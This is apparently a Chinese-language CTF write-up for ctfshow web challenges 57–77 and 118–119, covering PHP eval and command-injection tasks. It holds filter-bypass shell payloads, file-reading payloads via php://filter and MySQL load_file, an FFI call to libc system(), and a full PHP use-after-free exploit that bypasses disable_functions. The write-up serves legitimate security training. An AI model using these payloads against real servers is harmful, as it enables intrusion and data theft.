    url = 'http://6023df13-bdf0-46e7-aeef-aa61e3407731.challenge.ctf.show/?c=. /???/????????[@-[]'   #修改URL
    flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")}   #修改命令
    )
    
    if("ctf" in flag.text):
        print(flag.text)
        break

web57

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

可知flag在 36.php 里面,所以要想办法构造 36

bash 复制代码
echo $(()) = 0
对其按位取反
echo $((~$(()))) = -1
按位取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上⾯的按位取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1

$(())是⽤来作整数运算
如a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())能进⾏的运算有
+ - * / 加、减、乘、除
% 余数运算
& | ^ ! AND、OR、XOR、NOT运算

负数的 按位取反 是其 绝对值减1

所以我们只要构造出 -37,然后按位取反就能得到 36

使用python生成

python 复制代码
print("$((~$(("+"$((~$(())))"*37+"))))")

payload

php 复制代码
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源代码


web58

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
bash 复制代码
c=print_r(scandir(dirname('__FILE__')));

可以查看到当前目录,可以使用 复制、重命名等

(system被禁用了 >__<)

payload

bash 复制代码
c=show_source("flag.php");
c=highlight_file("flag.php");
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=copy("flag.php","a.txt");         #之后访问/a.txt
c=rename("flag.php","b.txt");       #之后访问/b.txt

web59

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=print_r(file("flag.php"));

web60

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

#参考web40无参rce
c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web61

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web62

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web63

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web64

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web65

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

file_get_contents() has been disabled

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=show_source("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web66

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source()被禁用了

payload

bash 复制代码
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag;  #变量名是$flag

c=highlight_file("flag.php");

c=include($_GET[a]);    #post
?a=php://filter/convert.base64-encode/resource=flag.php

c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

发现flag换位置了

查看当前目录下文件

bash 复制代码
c=var_dump(scandir('.'));
c=print_r(scandir("."));

没有其他发现

查看根目录下的文件

bash 复制代码
c=var_dump(scandir('/'));
c=print_r(scandir("/"));

在根目录下找到flag.txt

payload

bash 复制代码
c=highlight_file('/flag.txt');
c=require("/flag.txt");

web67

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

print_r被禁用

同web66

bash 复制代码
c=highlight_file('/flag.txt');
c=require("/flag.txt");

web68

html 复制代码
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

好几个函数被禁用了

payload

bash 复制代码
c=include("flag.php");echo $flag;

print_r 也被禁用了

查看根目录下文件

bash 复制代码
c=var_dump(scandir("/"));
bash 复制代码
c=include("/flag.txt");    #此时flag.txt里面没有变量flag
c=require("/flag.txt");

web69

php 复制代码
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

这一题的 print_r var_dump highlight_file 都被禁用了

题解一

查看根目录 payload

bash 复制代码
c=var_export(scandir("/"));

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

题解二

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}

#opendir("/") 打开根目录,readdir($a) 循环读取该目录下的文件,echo $b 输出每个文件名,帮助查找目标文件。

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

web70

php 复制代码
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

题解一

查看根目录 payload

bash 复制代码
c=var_export(scandir("/"));

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

题解二

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

输出flag内容

bash 复制代码
c=include("/flag.txt");
c=require("/flag.txt");

web71

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

代码的意思是

eval($c) 执行用户提交的代码 $_POST['c']

ob_get_contents(); 获取输出缓冲区的内容 / ob_get_contents() 用来获取之前通过 echoprint 输出的内容。

eval() 执行后,如果有输出,它会被存储在 $s 变量中。

ob_end_clean(); 关闭并清理输出缓冲区。它将会清除所有缓冲的内容(即清除 $s 中的内容),不再输出。

使用 preg_replace()$s 中的内容进行正则替换:

最终输出经过替换的结果,所有字母和数字都被替换成了 ?

而利用exit()可以让前面的语句执行完就退出,而不需要执行后面的语句。

php 复制代码
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名
bash 复制代码
c=include("/flag.txt");exit();
c=require("/flag.txt");exit();

web72

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

和上一题是有区别的

这道题只有这个命令可以查询根目录文件

bash 复制代码
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名改变了,flag0.txt

当想用 c=include("/flag0.txt);exit();" 时,发现有 open_basedir 限制

html 复制代码
Warning: include(): open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

open_basedir :将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如 fopen()file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

用uaf脚本来命令执行,脚本( c= 之后)要进行URL编码

POC脚本

php 复制代码
c=function ctfshow($cmd) {     #在这里修改传入的参数
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if (!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for ($j = $s - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i = 0; $i < $m; $i++) {
            $out .= sprintf("%c", ($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c", ($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if ($s != 8) {
            $leak %= 2 << ($s * 8) - 1;
        }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if ($p_type == 1 && $p_flags == 6) {
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if ($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }
        if (!$data_addr || !$text_size || !$data_size) return false;
        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if ($deref != 0x746e6174736e6f63) continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if ($deref != 0x786568326e6962) continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if ($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .
                           'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if (stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .
                                    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');

    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };

    if (strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);

    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");    #在这里修改flag文件名
ob_end_flush();

web73

题解一

查看根目录文件

bash 复制代码
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名是flagc.txt,输出flag

bash 复制代码
c=include("/flagc.txt");exit();
c=require("/flagc.txt");exit();

题解二

post

bash 复制代码
c=include($_GET[a]);exit();

GET

bash 复制代码
?a=php://filter/convert.base64-encode/resource=/flagc.txt

web74

scandir 被禁用了

题解一

查看根目录文件

bash 复制代码
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();

c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit();  #这个直接会回显出flag的文件名

flag文件名是flagx.txt,输出flag

bash 复制代码
c=include("/flagx.txt");exit();
c=require("/flagx.txt");exit();

题解二

(要先扫根目录)post

bash 复制代码
c=include($_GET[a]);exit();

GET

bash 复制代码
?a=php://filter/convert.base64-encode/resource=/flagx.txt

web75

查看根目录下文件(scandir opendir 不能用了

bash 复制代码
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b->__toString()." ");}exit();

这道题 include require 都不能用了

利用mysql的load_file()来查看文件

用mysql做,post c=脚本

mysql 复制代码
try{
    $db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
    foreach($db->query('select load_file("/flag36.txt")') as $row)/*这里修改flag文件名*/ 
    {
        echo ($row[0])."|";
    }
    $db = null;
}
catch(PDOException $e)
{
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76

opendir() 不行了

查看根目录下文件

bash 复制代码
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();

flag文件名为 flag36d.txt

利用mysql的load_file()来查看文件

脚本

mysql 复制代码
try{
    $db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
    foreach($db->query('select load_file("/flag36d.txt")') as $row)/*这里修改flag文件名*/ 
    {
        echo ($row[0])."|";
    }
    $db = null;
}
catch(PDOException $e)
{
    echo $e->getMessage();
    exit(0);
}
exit(0);

web77

查看根目录下文件( opendir() 用不了)

bash 复制代码
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();

flag文件名为 flag36x.txt

再次使用上一题的脚本发现无法得到flag

因为不能回显,所以利用重定向将 readflag内容输出到其他地方

php 复制代码
c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
$a="/readflag > flag2.txt";   /*这里修改要输出的文件名*/
$ffi->system($a);
exit();

之后访问 /flag2.txt

这个解法是一个利用 PHP 的 FFI 技术(Foreign Function Interface) 来调用底层 C 标准库函数 system() 的 命令执行漏洞利用技巧,结合参数注入直接拿到服务器上的 flag 文件。

php 复制代码
解析

c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
/*
告诉 PHP:
"我想用 libc 这个 C 标准库里的 system 函数,它长这样:int system(const char *cmd);这样,PHP 就为你加载了一个 system() 的函数,叫 $ffi->system(),可以直接用了
*/


$a="/readflag > flag2.txt";
/* 
/readflag 是CTF靶机提供的一个程序,作用就是 输出 flag
> 是 shell 的重定向符号,意思是:把执行结果写入某个文件
所以这个命令执行后,服务器上就会出现一个新文件:flag2.txt,里面就是 flag 内容*/

$ffi->system($a);
/*让服务器执行 /readflag,并把 flag 写进 flag2.txt 文件*/

exit();
/*直接退出,防止执行后续的 PHP 代码*、

web118

题目给的提示:

由题目知 flag位于 flag.php

查看源代码,知道从输入框 输入的内容 就成了 system命令里所谓的 $code

尝试输入,发现有一些输入会回显 evil input,存在过滤

抓包,尝试找到 被过滤 / 没被过滤 的字符

很明显,大写字母 和 # $ . ; ? @ _ { } ~ 没有被过滤

小写字母和数字都被过滤了

不管怎样,我们最终的目的是不变的,就是要想办法构造一个命令,能达到 tac flag.php 的效果

首先看看这些 利用bash内置变量

bash 复制代码
#PWD:输出当前所在路径
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user

#从下标1开始,截取长度为3位的字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:1:3}
hom

#从下标3后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:3}
me/user

#从下标4后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:4}
e/user

#从下标5后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:5}
/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:A}
/home/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:B}
/home/user

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:G}
/home/user

#取反号~:输出最后1个字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~0}
r

#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~J}
r

#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

要利用这种方法构造出想要的命令,肯定要求我们的命令简洁简短,这样容易构造,因为条件有限

比如对于 cattacmorelessheadtailnlsedsortuniqrev,这些命令,我们肯定要选 nl ,不妨看看上面指令 echo ${PATH} ,输出内容中的最后一个字符就是 n ,那么利用 echo ${PWD:A} 就很容易构造出来 n

于是,我们目标明确,利用内置变量,构造出命令 nl flag.php

根据题目给的这张图,当前目录 /var/www/html ,目录的最后一个字母是 l

所以,${PATH:~A}${PWD:~A} 等价于 nl

空格和小写字母被过滤,用 ${IFS} 和 通配符 ? 代替

${PATH:~A}${PWD:~A}${IFS}????.???

等价于 ${PATH:~0}${PWD:~0} ????.???

等价于 nl flag.php

payload

shell 复制代码
#nl flag.php
#nl ????.???
${PATH:~A}${PWD:~A}${IFS}????.???

其他payload

bash 复制代码
#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# ${#}是0
user@LAPTOP-HHK0H1KL:~$ echo ${#}
0

# SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开 shell 时 ${SHLVL}=1
#然后在此 shell 中再打开一个 shell 时 ${SHLVL}=2
user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1

user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1

#输出当前目录
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user

# ${#PWD}是回显字符数
user@LAPTOP-HHK0H1KL:~$ echo ${#PWD}
10

#等价与 echo ${PWD:0:1} ,即 /
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:${#}:${SHLVL}}
/

# ${RANDOM}一般是一个4~5位的随机数
user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
1998

user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
30785

user@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/user

# 因此 ${#RANDOM}一般是4/5
user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
4

user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
5

# TERM 是一个环境变量,表示当前终端类型常见值有:xterm、xterm-256color、linux、screen、dumb
user@LAPTOP-HHK0H1KL:~$ echo ${TERM}
xterm-256color

#取字符串长度
user@LAPTOP-HHK0H1KL:~$ echo ${#TERM}
14

#输出可执行程序搜索路径(为了方便看,不用往上翻^_^)
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
bash 复制代码
# (根据题目给的payload反向推理) 题目附件的网址 "yu-love" 合理推测这道题靶机的输出
yu-love@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/yu-love

#取字符串长度
yu-love@LAPTOP-HHK0H1KL:~$ echo ${#HOME}
13

(其实本质上都是构造 nl flag.php)

构造 nl ?l??.???

${PATH:13:1}${PATH:4:1} ?${PATH:4:1}??.???

等价于${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

但是由于这里用了 RANDOM,所以需要多试几次

(而且这里的空格不用换成 ${IFS} 也可以过!!)

payload

bash 复制代码
#nl flag.php
#nl ?l??.???
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

测试后发现,在上一题的基础上过滤了 PATH

此时要想构造 nl 就比较难了,尝试用 /bin/base64

目标:构造 /bin/base64 flag.php/???/?????4 ????.???

于是,剩下的工作就是利用内置变量替换 /4

bash 复制代码
#输出可执行程序搜索路径  (靶机的 路径)
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/var/www/html

目标:${PWD:0:1}???${PWD:0:1}?????${#RANDOM} ????.???

---> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}?????${#RANDOM} ????.???

最终的payload (由于使用了 RANDOM ,所以需要多试几次)

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
(${##}=1)

其他payload

bash 复制代码
其他 bash 内置变量
${USER} : www-data
${#IFS} : 3
${#}    : 0
${##}   : 1
${###}  : 0
${####} : 0

可以尝试 /bin/cat flag.php

这里 php版本是 7.3.22 ,可以利用 ${PHP_VERSION:~A} 获取 数字 2

/bin/cat flag.php

---> /???/?at flag.php

(或者:/???/?a? flag.php PS:这个 乱码>___< 乱码>___<)

---> ${PWD:0:1}???${PWD:0:1}?${USER:~2:2} ????.???

(或者:${PWD:0:1}???${PWD:0:1}?${USER:~0}? ????.??? PS:这个乱码>___<)

---> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

(或者:${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? PS:这个乱码>___< 乱码>___<)

bash 复制代码
#/bin/cat flag.php
#/???/?at flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

